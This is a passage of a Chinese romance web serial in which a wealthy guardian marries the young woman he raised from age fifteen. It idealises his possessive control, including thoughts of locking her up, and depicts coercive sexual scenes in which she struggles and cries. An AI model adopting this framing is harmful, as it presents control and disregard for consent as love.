谢沅哭着挣动,却被沈长凛更狠地按在了长沙发上。
锁骨处的刺痛尖锐,等他放过她时,谢沅的后背已经被冷汗浸湿,但这并不是结束的信号。
谢沅承受不过来,某个瞬间,她心里的那根弦也乱了,咬上沈长凛薄唇的刹那,那种源自血脉里的病态吸引又开始涌动。
两个人的吸引,是发自骨血的。
难以抵御,无法对抗。
在无声息的黑暗里,会陡然地变得疯狂-
谢沅翌日醒得很晚,她苏醒后很久,人都是懵懵的,她梳理回忆,怎么也想不出那一些是怎么发生的。
沈长凛从外间走进,给她倒了杯水。
他低咳一声,轻声说道:“昨天晚上的事,抱歉。”
沈长凛微微俯身,抚了抚谢沅锁骨处的血痕,他帮她上了一回药,但那处瞧着还是狰狞骇人。
他的唇边也有一抹血痕,可相较于她,要淡得多。
“没事,叔叔,”谢沅的脸庞透着薄红,“我没事的。”
有时候精神正常和不正常,是很难界定的。
谢沅的状态比常人差,更容易应激,但在这方面的事上,却一直都是沈长凛要更容易被挑起情绪。
他倾身拥住她,将人抱在腿上,声音低哑:“沅沅,不要和叔叔说离开,好吗?”
谢沅终于意识到他昨晚的异常从何而来。
因为她说想搬出去,住在学校的宿舍。
两个人的关系渐渐发生转变,便意味着新的磨合,沈长凛很疼她很爱她,但占有和控制是他的本能。
这不是说他的性子天然如此。
只是他养她太久,将她看得太重,所以欲念才会越来越偏执。
谢沅知道她在沈长凛的心里份量很重,但这还是她头一次如此明晰地感觉到,她在沈长凛的心里这样的重要。
她弯起眉眼,环住他的脖颈:“我说着玩呢,叔叔。”
“我怎么可能舍得离开您呀?”谢沅坐在沈长凛的怀里,仰头看向他的眼眸,“您可是我的爱人,我将来的法定配偶。”
她的神情很认真,爱语也是那样坦然。
明明她才是那个不爱说话、寡言少语的小孩子。
残存在心底的恶欲突然退潮。
沈长凛觉得他对谢沅越来越没有办法了,他低着眼眸,将她揽在怀里,轻声说道:“还要好久,至少要等你从德国回来,才能准备婚礼相关的事。”
他的长睫垂了下来。
沈长凛眼眸的颜色很浅,那是一种很漂亮的颜色,微微低垂时,像是蕴着淡色的光芒。
谢沅最见不得的,就是他伤神时的姿态。
她神情微动,下意识地就吻上了沈长凛的眼皮。
“我们不能先领证吗?”谢沅柔声说道,“先结婚再办婚礼,可不可以,叔叔?”
她一定是世界上最勇敢的孩子。
沈长凛对外的形象很好。
温柔矜贵的沈总,只是静默地站在暗处,也能吸引一众人的目光,他为人宽容和善,平常不会动怒,总有人会误将他当做好说话的人。
就连近处侍候的人,同样死心塌地。
在这个世界上,就只有谢沅知道,他到底是个多偏执、病态、疯狂、冷血、残酷的人。
可是谢沅这么清楚沈长凛是什么人。
她还是爱他。
他的沅沅,甚至在知悉他的这些缺陷后,仍然想要嫁给他。
沈长凛抱着谢沅,很久都没能说出话,他把她按在怀里,想要将她抱得更紧,却又舍不得弄疼她。
“……要不还是再等一段吧?”他轻声说道,“沅沅。”
利用权力、威势,将一个人留在身边很简单。
但有了双向的感情后,这一切都会变得不一样起来,沈长凛会忍不住地想要呵护谢沅,想要满足她全部的愿望。
埋藏在心底的本能恶欲会被压抑。
可在某些时候,它们还会冒头。
曾经谢沅是被迫待在他身边的,她或许会难受,但不会因此痛苦,可是相爱后,就不是这样了。
爱欲焚心毁欲,是能将人杀死的。
沈长凛不是自负的人,却也从来不是犹豫迟疑的人。
只有在谢沅的身上,他会这样。
那时候他总想着赶快将关系定下来,怕他的沅沅后悔,现在却又担忧这会不会变成再次的强迫,怕他的沅沅后悔匆忙做下的决定。
谢沅却那样直接。
“啊,对不起,叔叔,我忘记了,”她有些抱歉地说道,“婚前公证和财产上的事,是不是很麻烦?”
沈长凛神情微动。
“不麻烦,沅沅。”他轻声说道,“叔叔的一切,都是你的。”
沈长凛吻了吻谢沅震惊的脸庞,低声说道:“我们不做婚前公证,我这边除了留给宴白的那一份,其他全部都是你的。”
她坐在他的怀里,身躯像是石化了一样。
沈长凛很轻地笑了一下,说道:“还记得我们的第一个夜晚吗?”
“当时我就在想,要赶快将沅沅娶回家,”他慢声说道,“上一次遗嘱改动,也是在那个时候。”
后来知道谢沅心有所属,且那人是沈宴白。
沈长凛到底还是没有再改。
沈宴白又不喜欢她。要是到时候将谢沅逐出家门,她该怎么活?
爱其子,则为之计深远。他不能不为谢沅多做打算。
听到沈长凛这话,谢沅脸上的神情已经不能用简单的震惊来形容了,她仿佛是听到了第三次世界大战的消息,用尽了全部的教养,方才没有破音:“我是你的继承人?!”
她的眼眸睁得大大的,像是快要疯掉。
沈长凛轻轻点点头,应道:“当然。”
他在这个世界上,没有几个亲人,更没什么亲近的人。
秦老先生和江夫人手里产业无数,根本轮不到沈长凛来照顾,也就只有沈宴白还要他操心少许。
他手里的这些东西,如果不留给谢沅还留给谁?
再说她本来就是沈家的大小姐,又深得秦老先生的喜爱,给她也是应该的。
沈长凛的神情那样平静自然。
谢沅胸腔的起伏却是更加厉害了,她的心脏剧烈地跳动着,震惊到了一种地步,是真的会让人连话都说不出来。
她强撑着,说道:“叔叔,把镇静剂给我。”-
沈长凛喂谢沅服了少许镇静的药物。
她情绪起伏不能太大,但这的确是他第一次见她,因为震惊而轻微发作。
沈长凛不太明白谢沅为什么反应这么大。
他抱着她,轻抚着她的后背:“你不用担心,会有人帮你打理的,就是重大决策,须要稍微上些心。”
沈长凛的口吻很淡然,仿佛在说什么很平常的事。
谢沅吃了药后,情绪好转许多,却还是控制不住地攀上他的脖颈,几乎是扯着嗓子般地说道:“你天天都在胡思乱想什么?”
“我才不要继承秦家和沈家,”她眸里含泪,“你自己的事情,你自己想办法。”
谢沅说话好幼稚。
在她的话语里,沈长凛也变得幼稚起来。
可是他真的很喜欢跟她这样讲话。
他单膝半跪,捧着谢沅的脸庞,帮她擦眼泪:“我没有多想,沅沅。”
“我们都会长命百岁的,”沈长凛轻声说道,“但是我希望,我的生命无论出现任何一种可能,你都仍然能够幸福。”
他不想要她再如十五岁那样无依无靠了。
谢沅哭得更厉害了,她抽咽着说道:“我不要长命百岁,我长命九十二岁就可以。”
她紧紧地攀上沈长凛的脖颈,声音里全是泪意,哭得要喘不过气来。
这话还是很幼稚的话语。
可是在那个瞬间,沈长凛听到了类似琉璃破碎的声音。
他的心底有一层很深重的寒冰,不知道何年何月凝结而成的,存了好多年,但在这个瞬间,它破碎了个一干二净。
深冷的冰化作一江春水,向东流去。
沈长凛薄唇微抿,他环抱着谢沅,原本乱了的情绪越来越柔软。
他是真的完了。
比当初那个意外到来的夜晚更彻底地沦陷,给这个稚气横生又懵懂天真的小孩子。
谢沅苦累了才停下来,她坐在沈长凛的腿上,揉着眼眸说道:“那我们结婚吧。”
旋即,她有点失落又苦恼地说道:“不过民政局是不是还要预约?对了,叔叔,结婚要请人挑个好的时间吗?”
沈长凛很想现在就带谢沅去领证。
但她都哭成小花猫了,要是日后看到结婚证上的照片,估计是要生他气的。
沈长凛觉得他的耐心和脾气,这辈子都没有这样地好过。
他拂去谢沅眼尾的泪水,声音柔和:“要的,等待会儿用完午餐,我去请人去看,好不好?”
谢沅又高兴起来。
她的眉眼弯起,软声说道:“好。”
沈长凛对国内的这些习俗其实了解不多,文化上的差异是细微无声的。
如果不是谢沅讲,他真的想不到这桩事。
不过用完午餐后,沈长凛便立刻联系人,在打开屏幕后,他却没有寻找那方面的人,而是第一时间就给设计师和造型师发了消息。
秦沈两家的产业里,没有很多珠宝、服饰相关的。
他身边只有外祖母江夫人是主做这个的。
但在这些年,几乎无人不知沈家与多少国际知名设计师有合作。
谢沅吐槽他:“叔叔,你这是玩真人版暖暖上瘾了。”
沈长凛一边跟人发消息,一边轻声问道:“什么?”
谢沅又不说话了。
最近的吉日很多,沈长凛挑选了一个最好的,领证的那天,天气非常的好,谢沅交换的申请也下来了。
造型师在帮着梳发。
谢沅看向邮箱里的邮件,眼眸亮亮的,脸庞也透着薄粉。
桃花灼灼,都及不上她此刻的笑颜。
谢沅弯起眉眼,笑着说道:“我真的通过了,叔叔。”
沈长凛轻吻了吻她的脸庞,柔声说道:“我们沅沅真棒,恭喜你。”
刚好造型也做好了,他直接把谢沅抱了出去。
领证的过程好快,拍照片的时候,谢沅人还是懵然的,求婚的时候沈长凛是让人全程录像了的,这次领证,他也让专门的摄影师跟着。
除了那张结婚证上的照片外,还拍了许多其他的。
如果不是现在还不方便彻底公开,沈长凛是真的很想发到他那个快十年没上去过的社交平台上。
他没有这方面的爱好,以前也不爱发东西。
谢沅也是难得明白,为什么很多人喜欢在社交平台上发事情。
拿到两张红色的小本子后,她也很想发给全世界看看。
虽然很不可思议。
但是现在她和沈长凛真的是法定伴侣了。
谢沅走出来后,感觉整个人都还是恍惚的,她曾经对订婚、结婚的事是害怕的,秦承月持重沉稳,还有些略微的矜傲。
他们之间没什么共同话题,也不是一个世界的人。
曾经想到要嫁给他,她都会紧张得从梦里醒来。
可是嫁给沈长凛,却是完全不同的感受。
谢沅不想这么幼稚,她也不是爱炫耀的人,但她真的很想告诉全世界,她和沈长凛结婚了。
她的表情真的很明显。
沈长凛失笑,吻了吻谢沅的脸庞,轻声说道:“等你从德国回来,我们就办婚礼。”
她也环住他的脖颈,声音柔软地说道:“好,叔叔。”
回家的一路上,谢沅都靠在沈长凛的怀里,不断地说着话,她以前话很少,又很怕他,有事情发生也总更爱找李特助和管家他们。
但是现在,无论发生什么,她总要先告诉他。
什么大事小事,也全都第一时间说予他。
沉默寡言的孩子,变得越加开朗起来。
沈长凛的心神都是柔软的,他抱着谢沅下车,她怀里还有一捧很大的鲜花,但回到家后,整个客厅里都摆满了盛放的新花。
馥郁秾丽,娇艳欲滴。
她神情震动,回身又拥住他,带着哭腔小声地说道:“不用这么多花的,叔叔。”
沈长凛把谢沅抱了起来,轻声说道:“可是我的宝贝很喜欢,我想让她高兴。”
他声音低柔,吻她的动作也很温柔。
谢沅的眸里盈着泪水,不住地回吻着沈长凛,她吻技前不久才练过一段,现在情绪一激动,又变得好差。
但是她不想停下来。
两人温存了许久,直到九点多时,沈长凛去开一个短会,才放谢沅去用晚餐。
客厅里都是花,花艺师已经处理过一遍。
谢沅坐在岛台边的高脚椅上吃晚餐,吃着吃着,她就忍不住放下筷子和餐叉,开始拍照片。
她仔细地修剪了图片的尺寸,然后还是发了社交平台。
谢沅的朋友不多,加的人大多是同学,她几乎就没有发过社交平台,应当没什么人会看到,所以发上去后她也没有多想。
【喜欢花,也喜欢你。】
半小时后,沈长凛开完短会,从书房里出来。
他的私人号码知道的人不多,此刻却是一连串的未接电话和未读消息。
沈长凛眉心微拧,先给外祖父秦老先生回拨过去。
秦老先生接起来得很快,一开口就是:“长凛,沅沅是不是早恋了?”
沈长凛:?
第67章 病态的恶欲。
秦老先生温文儒雅,斯文和柔,涵养更是极好,为人从容淡然,泰山崩于前而色不变。
但此刻李秘书眼睁睁地看他失手打翻了桌案上的杯盏。
盛满了红茶的素白瓷杯滚落,骨碌碌地碎在地上。
“你说什么?”秦老先生满脸都是讶异,声音里也全是震惊。
李秘书紧忙将那被打翻的杯盏收拾好。
谢沅跟人恋爱的消息,还是他最先发觉的,这厢也不知到底跟哪家的小子在一起了,竟然让秦老先生这么震惊。
大小姐平常不怎么发社交平台。
她加的人也很少,都是同学,然后就是一些亲近的朋友。
李秘书也是偶然才加到谢沅的。
玫瑰花在夜色里盛放,色泽秾丽,鲜妍欲滴。
她很小心地修剪了图片的尺寸,没有将背景露出来。
只是这么一张图,就已经足够引人遐想,更令人震撼的是那句昭然的爱语。
秦沈两家都没什么女孩。
谢沅寡言少语,默默无闻,可在燕城的权贵圈子里,早就有人紧盯着她,想要娶回家做儿媳、孙媳。
之前是因为秦承月,才没人敢出手。
现在婚约刚断没多久,沈长凛又一直没发话,谁也不敢轻举妄动。
只有霍阳拼着祖父的面子冲了一把,也被沈长凛直接拒绝。
李秘书也想不出,到底有谁敢在这个节骨眼上和谢沅恋爱,而且沈长凛知道,怎么可能会不管?
他将杯盏的碎片收拾好,然后又将桌案擦干净。
秦老先生的脾气是真好。
现在他也是动了真怒。
李秘书回来时,秦老先生的脸几乎是黑的:“沅沅呢?你让沅沅过来接电话。”
沈长凛倚在栏边,含着漫不经心的笑意,轻声说道:“沅沅还在用晚餐,晚些时候再说吧。”
说完他便挂了电话,然后下楼。
谢沅还在用晚餐,她执着金色的细长汤匙,有一搭没一搭地喝着浓汤。
虽然是在用餐,可目光全放在了那些鲜妍秾丽的新花上。
谢沅撑着下颌,头微微地歪着,沈长凛过来时,她全无觉察,被他扣着腰身抱在膝上时,她方才反应过来,惊呼了一声。
沈长凛将她抱在怀里,捏了捏她的小脸。
他拿过谢沅的手机,用指纹解锁后,立刻就找到她发的那条社交平台消息。
她大概是发完之后看都没看一眼。
现在她的消息也被刷爆了,未接电话和消息无数。
谢沅社交平台里没有多少好友,而且大部分是圈外的同学,但她低估了信息流传的速度。
沈长凛低笑一声。
他将屏幕拿给她看,轻声说道:“怎么办?外公知道我们的事了。”
谢沅看向屏幕,看到她发的照片下那连成串的消息时,眼眸微微睁大,十分地惊讶。
她手机里都没有多少好友的。
谢沅愣怔了片刻,须臾才反应过来沈长凛在说什么。
她坐在他的怀里,樱唇紧抿着:“对不起,叔叔,我不是故意发的,外公……外公是不同意吗?”
谢沅这会儿知道慌了。
沈长凛原本就打算最近告诉秦老先生的,反正证都已经到手了,再说秦老先生也管不了太多他的事。
麻烦的其实一直是谢沅。
秦老先生很疼她。
沈长凛不怪谢沅发这个消息,小孩子愿意公开,愿意在同学们面前讲爱他,他一点都不会不悦,他只会高兴。
他轻笑着说道:“外公没不同意。”
谢沅松了口气,她环上沈长凛的脖颈,有些担心地说道:“是不是好多人都知道了?这会不会不太好,叔叔?”
她的眸里水光摇晃。
沈长凛吻了吻谢沅的额头,声音和柔:“没有很多人,也没有不好。”
“就是外公那边,要劳烦沅沅为我说几句好话了,”他轻声说道,“连外公都觉得沅沅是我强掠过来的。”
谢沅懵懵懂懂。
她轻轻地“啊”了一声,困惑地说道:“外公为什么会这样认为呀,叔叔?”
女人有女人的第六感,男人也有男人的本能。
沈长凛解决秦承月时很利落,从秦承月和温思瑜出车祸,两个人的关系彻底暴露时,他就打定主意要解秦承月和谢沅的婚约。
明面上瞧着是疼谢沅。
可是背地里的那些欲念是遮不住的。
其实像沈宴白当初那样的反应,才应当是正确的,男人里有几个专心的?
经了这样的事才好,往后有这么一桩事摆着,秦承月只会更敬着谢沅才对,而且他跟温思瑜又没可能,纵然婚前有些首尾,也没什么大不了的。
但沈长凛却直接断了秦承月和谢沅联姻的可能。
后面虽有波动,最终这桩婚事,还是被他给彻底解决掉了。
熟悉内情的人如若深思,怎么可能觉察不出来问题?
可这些事就没必要告诉谢沅,平白让她忧虑了。
沈长凛喂谢沅喝完浓汤,然后将餐碟推到一边,用餐巾纸轻轻擦了擦她的唇角:“因为外公很疼沅沅,不想沅沅被伤害。”
她更急了。
谢沅在他怀里挣扎,抬手就想拿桌案上的手机。
“那您也不能让外公这样误会着,”她摇着头说道,“我现在就给外公回电话。”
谢沅的指尖都快到屏幕,腰身却被沈长凛攥住,硬生生地拉了回来。
“不急,沅沅。”他声音微哑,“先把那句话,再说一遍。”
谢沅的腰肢细瘦,不经盈盈一握。
被男人的指节攥着时,会让她连细微的挣动都提不起来。
谢沅被迫坐在沈长凛的腿上,脸庞泛红,柔弱地推拒着:“待会儿再说,行不行,叔叔?”
他唇边含笑,拒绝道:“不行,沅沅。”
沈长凛是真的坏。
谢沅气喘吁吁,她喝了好多水,休息了好久,方才平复下来,给秦老先生回电话。
明明是要给他澄清,他却还拦着欺负她。
但给秦老先生回电话时,谢沅还是很老实地给沈长凛说了很多好话,她温声细语,认真地给秦老先生解释。
沈长凛侧倚着,低眸看向她的侧颜,指节扣在杯子的边沿。
情绪是前所未有的平静和柔-
那条消息在圈内小小地掀起了波澜,但很快就被压了下去。
临近十二月份,天渐渐地变冷,谢沅的事情也越来越多起来,好在她的学分都修得差不多,不然还会更忙更累。
沈长凛最后还是准允谢沅短暂住在外面。
但他没舍得让她住宿舍。
沈家的房产很多,沈长凛最终选定了燕大附近的一处住宅。
四百平的豪华大平层,视野开阔,用的都是落地窗,采光很好,夜间也很适合赏景,内部构造一应俱全,就是在这边常住也没关系。
谢沅兴高采烈地推着她的小箱子搬了进去。
沈长凛站在她身侧,轻声说道:“只可以偶尔住在这边,周末必须要回家的。”
谢沅很乖地点头,沈长凛低声说道:“我这一周要去出门,你自己在外面待着,要照顾好自己。”
他是一点也不想让谢沅离开家。
如果不是外祖母江夫人提到适应的事,沈长凛是不可能准允谢沅住外面的。
谢沅从十五岁起,除了偶尔出来玩,就没有出过远门。
一个人到异国他乡求学,怎么可能适应得了?
刚好沈长凛最近事务也多,他最终还是点头答应谢沅,让她短暂在外面住一段。
她高兴地攀上他的脖颈,柔声说道:“谢谢叔叔。”
这边的安保很好,距离燕大又近,从某种层面来看,比在沈家还方便。
沈长凛将谢沅抱起来,轻柔地吻了吻她的脸庞,低声说道:“这几天我不在,要乖一点,回来我会查的。”
他规矩严,管教谢沅也向来严苛。
不过教养妻子和教养孩子相比,还是有些不同。
谢沅的眸光潋滟,唇瓣也透着微肿的水光,声音细柔地应道:“我知道,叔叔。”
翦水秋瞳,倒映的全是他。
沈长凛掐住谢沅的下颌,再度吻上了她的樱唇。
当日他陪在谢沅身边过了最后一个夜晚,然后便离开去宁城。
已经做足万全的准备,但谢沅还是给他找了个新的麻烦。
虽然只是出门一周,两人却每天都有通话,谢沅做什么事情时,也都会乖乖地跟沈长凛发消息。
她好像真的很乖。
直到回来的那天晚上,沈长凛才知道谢沅干了什么。
沈长凛本来要周五才能回来的,事情提前处理完,周四晚上就回来了,现在孩子住在外面,他从宁城回来后,就直接到了谢沅这边。
刚一进门,他就觉得不对劲。
细细的叫声微弱,带着些缠绵的意味,隔得距离有些远,听不太清晰。
沈长凛没看过什么狗血的肥皂剧。
但他也知晓这样一种情节。
男人站在门边,容色晦暗不明,冷得叫人惧怕,他没有多言,也没有立刻进门,给沈宴白先拨了一个电话。
他那边还是深夜。
沈宴白给沈长凛设置的铃声是特殊的。
他昨天通宵做事,困得快要猝死,才刚刚睡去不久,又被电话给吵醒了。
沈宴白原本是不想接的。
但一看是沈长凛拨来的电话,立刻就点了接听,他有些急忙地应道:“叔叔,怎么了?出了什么事吗?”
沈长凛顿了片刻,轻声说道:“没事,打错了,你继续睡吧。”
沈宴白满脸疑惑。
视频电话也能打错的吗?
他还没来得及多问,沈长凛就直接挂了电话。
谢沅刚刚还在客厅做作业,电脑还放在茶几上,水果蛋糕也只吃了一半,叉子上的奶油还没有干。
她不像是长久地离开,应当是被什么事耽搁了才对。
沈长凛薄唇微抿,但心底的恶欲还是止不住地上涌,那些残忍黑暗的念头,总是比健康的想法更容易占据人的神魂。
他不想对谢沅做这样恶意的猜测。
可是她突然那么想搬出来,知道他离开时又是那么高兴,这让他怎么不多想?
而且谢沅之前不就做过这种事?把沈宴白往落地窗边藏,还以为自己做得天衣无缝。
但是如果有这么一个人,又不是沈宴白,他会是谁?
霍阳?温怀瑾?还是她的那些同学?
沈长凛的眼眸颜色很浅,在光影的映照下,有一种剔透明澈的美感,但在此刻这双眼里只有深暗到骇人的冰寒。
他不会再让谢沅出门了,也不会再让她离开他的视线一瞬。
她是个好孩子,但她的确总是抵御不了诱惑。
外面的花花世界广阔,在开眼看过以后,谁还会情愿回到笼子里?
沈长凛不想对谢沅太残忍,可是她的胆子现今变得太大了,如果放任她这样,她不知道还会做出什么,倒不如将人关在家里、锁在床上算了。
他的眸色晦暗,恶欲无法抑制地翻涌。
那些残忍黑暗的念头,甚至盖过了被背叛的激烈情绪。
可正当沈长凛想要走进去时,谢沅突然走了出来。
她穿着白色的吊带睡裙,怀里抱着一只白色的小猫,柔声逗弄道:“你怎么不叫了呀,喵喵?”
谢沅的声音温柔,细细的,轻轻的,带着些缠绵的意味。
小猫很乖,特别给面子的“喵喵”叫了两声。
沈长凛神情愣怔,他的容色有一瞬间的微僵,陡地意识到那暧昧的声响是怎么发出来的。
谢沅抬眸看见沈长凛,跟见了鬼一样。
她抱着那只小白猫,不住地往后退,手忙脚乱地往房里藏。
谢沅踩着的兔子拖鞋并不防滑,她差些就要跌倒,还是沈长凛将她一把抱住,她才没有摔在地上。
小白猫感知到生人,叫了一声就陡地从谢沅怀里跳出来,然后藏到了它的小窝里。
谢沅比小猫还怕沈长凛。
她的眼眸突然就湿了,拽着他的手说道:“我……我不是故意的,叔叔,那天下雨我偶然捡到这只小猫的,才、才先养它几天。”
“我联系了学校的猫协,已经找到领养人了,”谢沅颤声说道,“明天就送它走。”
沈长凛对猫毛过敏,沈宴白肺病严重。
沈家跟小动物一直是绝缘的。
而且沈长凛不喜欢任何活物,分夺谢沅的视线。
所以她才偷偷地把小猫养在身边,每天跟他打电话,也小心地将小猫藏着,原本明天就要送它走的,哪里想到沈长凛会今晚突然杀回来?
谢沅吓得花容失色,眼眸里也含了泪水。
他将她抱到了沙发上,然后立刻从她的卧室离开,在医药箱里找了个口罩戴上。
谢沅每天都很注意用除尘器和加湿器,再加上小猫的年龄小,活动范围也非常小,不会掉很多毛。
可即便如此,沈长凛还是低咳了起来。
不得不说,谢沅是真的很会给他找麻烦。
但比起那个阴暗病态的猜想,沈长凛觉得还是一只小猫更好接受些-
谢沅吓得不轻,连最坏的打算都已经做好了——她会挨罚,小猫会被赶出去,然后她以后也别想出来住。
但出乎意料的是,沈长凛却没有多说什么。
他戴着口罩,轻声问道:“领养的人明天来接,是吗?”
谢沅含着眼泪点头,细声说道:“明天早上她就过来,叔叔。”
“好,”沈长凛低声说道,“那我明天再来看你。”
他的眼眸微垂,看起来很温柔好说话。
送沈长凛离开后,谢沅的神情仍然有些恍惚,叔叔居然什么都没说,就这样放过她了吗?
她胆子真的没那么大,就是被他宠得再过,也不敢做这种昭然的忤逆事。
实在是那天雨下得太大,小猫被遗弃在路边,如果谢沅当时没有带它回家,它可能就要死掉了。
对小动物的怜悯和同情,到底是在那个时候盖过了对沈长凛的恐惧。
谢沅只在很小的时候养过猫,还是在滨城读幼稚园时。
后来搬家到宁城,小猫也被送给了爸爸的同事。
谢沅那时候很忙,才刚刚交过一部分作业和材料,可还是咬牙把小猫带回家了。
学校的猫协很厉害,她在群里问询,他们在线上帮她出主意,真的把在夜雨里淋得快要死掉的小猫给救回来了。
谢沅第二天就紧忙带小猫去医院,然后帮忙找领养。
她是不可能养猫的,还不如赶快找到领养人。
白色的小猫年岁不大,不仅生得可爱,眼眸还是漂亮的海蓝色,很快就有人想要领养,不过周五才能接。
谢沅算了算时间,发觉刚刚好,可以赶在沈长凛回来前将小猫送走。
但她还是仔细看了猫毛过敏的注意事项,然后每天认真用吸尘器打扫卫生。
万万没有想到的是,沈长凛会提前回来——
谢沅想到沈长凛方才的脸色,忍不住地感到后怕,他应该是生气了的……
她都知道他过敏,还偷偷养了小猫。
谢沅将小猫安抚过后,便想给沈长凛拨电话。
但他那边好像有事情要处理,一直在占线,她明天早上还有事情,等了一个小时后,只能先上床睡觉。
谢沅一晚上都睡得不太安稳。
打开手机,就看到沈长凛凌晨两点发来的消息。
【事情都处理完了,给我发消息。】
谢沅心情忐忑,紧忙给他回复好的,然后就立刻开始去处理今天的事情,她先去了学校,把今天要交的一部分材料都交上去,接着回来把余下的作业做完。
十点的时候,她带着小猫去学校的猫协,连着玩具和猫粮等物品一起送给领养人。
然后谢沅再回来,把作业检查一遍,发送到助教的邮箱里。
事情很多,连她都有些手忙脚乱。
等到所有的事都处理完后,谢沅开始打扫卫生,她其实什么都不会做。
在家里的时候,第一次用洗衣机,阿姨都高兴了好久:“大小姐会用洗衣机了!”
不得不说,提前独居是有一定用处的。
谢沅在短短几天里,学会了使用吸尘器和加湿器,打扫卫生的技能,获得了空前的提高。
等她将事情都处理完时,已经将近正午。
谢沅小心地跟沈长凛发消息,但她发完消息不久,他的电话就打过来了。
沈长凛的声音很轻:“在家里,还是在学校?”
谢沅乖柔地应道:“在家里,叔叔,小猫我已经送走了,家里也打扫过卫生了。”
他低低地“嗯”了一声。
谢沅以为沈长凛会让司机来接她,但片刻后她下楼,看见的却是他自己。
两人到底多日不见,昨晚沈长凛走得又那样匆忙。
谢沅忍不住地环抱住他,将脸庞也埋在他的怀里:“我好想你,叔叔。”
沈长凛的容色比昨天要好太多,眉眼也又恢复了惯常的柔和,他轻声说道:“叔叔也很想你,沅沅。”
一路上两人都在聊天,他只轻轻亲了亲她的额头。
谢沅好久没有回家,对于这个居住了五年多的宅子,也有了新的兴致。
她牵着沈长凛的手,随着他一起上楼梯。
所有的温情结束于卧室门被掩上的刹那。
沈长凛轻按了门边的开关,将落地窗边最厚重的那层帘子放下来,然后直接封住谢沅的唇,强硬地掐住她的腰身把她抱到床上。
谢沅连反应都没来得及反应,腰身就被迫倾折。
她控制不住地挣动,脖颈如濒死的天鹅般,不住地想要后仰。
深暗的潮水快要将她吞没。
可是谢沅的哭声,也被沈长凛含进了唇齿间,他的眸底是病态的欲念,深黑色的情绪能将人吞噬殆尽。
她的眼泪掉个不停,到最后时连哭都哭不出来。
几个小时过去得很快,又很漫长。
等到谢沅快要昏过去时,沈长凛才终于放过她,他捧着她的指节,吻着她指间的戒指。
“沅沅,如果有一天你爱上别人了,”他的声音很低,“一定要告诉叔叔,我不会责怪你的,听到了吗?”
谢沅的精神不大好。
但她在这方面是正常人,正常人虽然不会花心,不会三心二意,却到底也不会对一个人产生病态的情感。
沈长凛知道他说这话时,一定虚伪到了极致。
但他不希望有朝一日,他的猜想发生时,他真的会被恶欲所支配,做出伤害谢沅的事。
沈长凛的声音很轻,有些莫名其妙。
谢沅的樱唇微抿,她缓缓地抬起长睫,看向他的眼睛。
某个瞬间,她陡地明白沈长凛昨晚和今天的怪异从何而来,他不会是以为她带人回家了吧?
怪不得他当时回来后迟迟没进门。
这个猜想荒诞,但结合沈长凛的反应后,谢沅越来越觉得有道理。
她身上无力,可还是强撑着直起身。
谢沅弯起眼眸,故意地说道:“那我要是告诉叔叔,我现在就已经爱上别人了呢?”
第68章 “你饿不饿,沅沅?”……
情爱是焚心毁欲之物。
一旦沾染,无人能够幸免。
沈长凛神情愣怔,浅色的眼眸里有着一瞬间的茫然。
他生得俊美,眼型精致漂亮,眸色清浅,盛着无声息的暗光,但此刻这双眼眸里,所有的情绪都退潮了。
向来从容淡然的男人,此刻是真的愣怔住了。
谢沅跪坐在沈长凛的身前,眼睫低垂,俯身很轻地吻了一下他的眼眸。
那个吻轻飘飘的,连蜻蜓点水也算不上。
但沈长凛却瞬时沉静下来。
他搂住谢沅的腰身,将人往怀里抱,声音微哑:“沅沅不会那样做的。”
“沅沅答应了我的求婚,现在还是我的妻子,”沈长凛的脸庞微仰,“她不是三心二意的人,是个很专情的好孩子,不会再爱上别人的。”
谢沅的身上只宽松地披着他的衬衫。
腿根大片的白皙露出,雪色的山岳也在轻轻地摇晃。
她□□,跨坐到沈长凛的腿上,捧着他的脸庞,再度吻上他的薄唇。
谢沅用生涩的技巧,把控着亲吻的节奏,舌尖轻轻试探,撬开男人的牙关,大胆又小心地吻着他。
须臾,她放开他。
谢沅脸庞潮红,樱唇透着水光,眼底都透着欲气。
她抬起手臂,回抱住沈长凛,低声说道:“这是奖励,叔叔,因为你答对了。”
谢沅不擅长主动,也很难在床笫间占得先机,每次都是被动地接受男人给予的一切。
沈长凛神情微动,想要说些什么,但谢沅先开口了。
“叔叔养我这么多年,还不知道我是什么样的人吗?”她的声音细柔,“还是叔叔觉得,我本质是水性杨花的人?”
谢沅的声音很轻,她的气势也很弱。
哪怕是问出这种话的时候,她依然没什么气场。
但急声回应的人却是沈长凛。
“不是,沅沅。”他低声说道,“叔叔从来没有那么想过你。”
谢沅难得硬气起来,她带着点小脾气说道:“这就对了,叔叔。”
“您很爱我,可是您有没有想过,我也很爱您?”她环住沈长凛的脖颈,“之前……我不知道您爱我,也不敢去爱您。”
谢沅深吸了一口气。
“可是在知道您是这样爱我后,”她压抑着情绪说道,“我怎么可能会做得出背叛您、伤害您的事?”
谢沅的眼眸微湿。
内里蕴着的是破碎的水光。
沈长凛在这个世界上最不忍见到的,就是谢沅伤心落泪的模样。
可是今天让她难过的人是他自己。
因为他不相信,她也非常地爱他。
“我知道,我知道,沅沅。”沈长凛压低声说道,“抱歉,是叔叔误会你了。”
“反正你以后不可以再胡思乱想了,”谢沅赌气地说道,“也不可以说那种话,我是您的妻子呀,您怎么能盼着我爱上别人呢?”
她很少发脾气,甚至连小脾气都很少有。
这大抵还是她第一次这样直白地言语。
沈长凛是多善言辞的人,但今天是他在寡言少语的谢沅面前,有些难以为自己辩解。
他没办法,只能将人抱进怀里,放柔声音哄了好久的孩子。
进入十二月后,天黑得越来越早,燕城又是典型的北方城市,不到六点时,外间的天色就已经全黑了。
谢沅坐在沈长凛的怀里,肚子咕咕作响时,才想起来饿。
她一回来就被他给拽上床,到现在还没用午餐。
但谢沅身上又没有力气,沈长凛抱她先去沐浴,然后将小蛋糕端给她,轻声说道:“先稍微用些,沅沅。”
她坐在浴缸里,乌发湿润,披散在肩头。
在蒸腾水汽的氤氲下,雪肤被衬得愈加白皙。
谢沅乖乖地点头,她执着餐叉,一边拨着水面上的花瓣,一边慢慢地用着蛋糕。
沈长凛神色如常,从浴室离开后却立刻拨了内线电话。
他今天晚间原本要带谢沅出去的,走的时候就订好了餐厅。
管家有些困惑地接起电话,就听到沈长凛吩咐道:“尽快点一份晚餐送过来,哪一家都可以。”
谢沅对这个小意外一无所知。
头发吹干后,晚餐送了过来。
谢沅踩着兔子拖鞋下楼,打开晚餐后高兴地说道:“叔叔,你怎么知道我最近很喜欢这家的餐食?”
沈长凛轻咳一声,说道:“你喜欢就好。”-
